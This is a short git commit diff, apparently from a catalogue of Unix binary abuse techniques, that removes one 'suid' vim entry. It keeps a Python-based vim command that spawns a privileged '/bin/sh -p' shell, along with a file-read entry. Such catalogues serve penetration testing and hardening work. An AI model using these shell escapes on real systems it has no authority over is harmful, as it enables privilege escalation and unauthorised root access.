Remove suid from vim
parent
4910c32409
commit
d3ef67aa3a
|
@ -17,7 +17,6 @@ functions:
|
|||
file-read:
|
||||
- code: vim file_to_read
|
||||
suid:
|
||||
- code: ./vim -c ':!/bin/sh -p'
|
||||
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||
sudo:
|
||||
|
|
Loading…
Reference in New Issue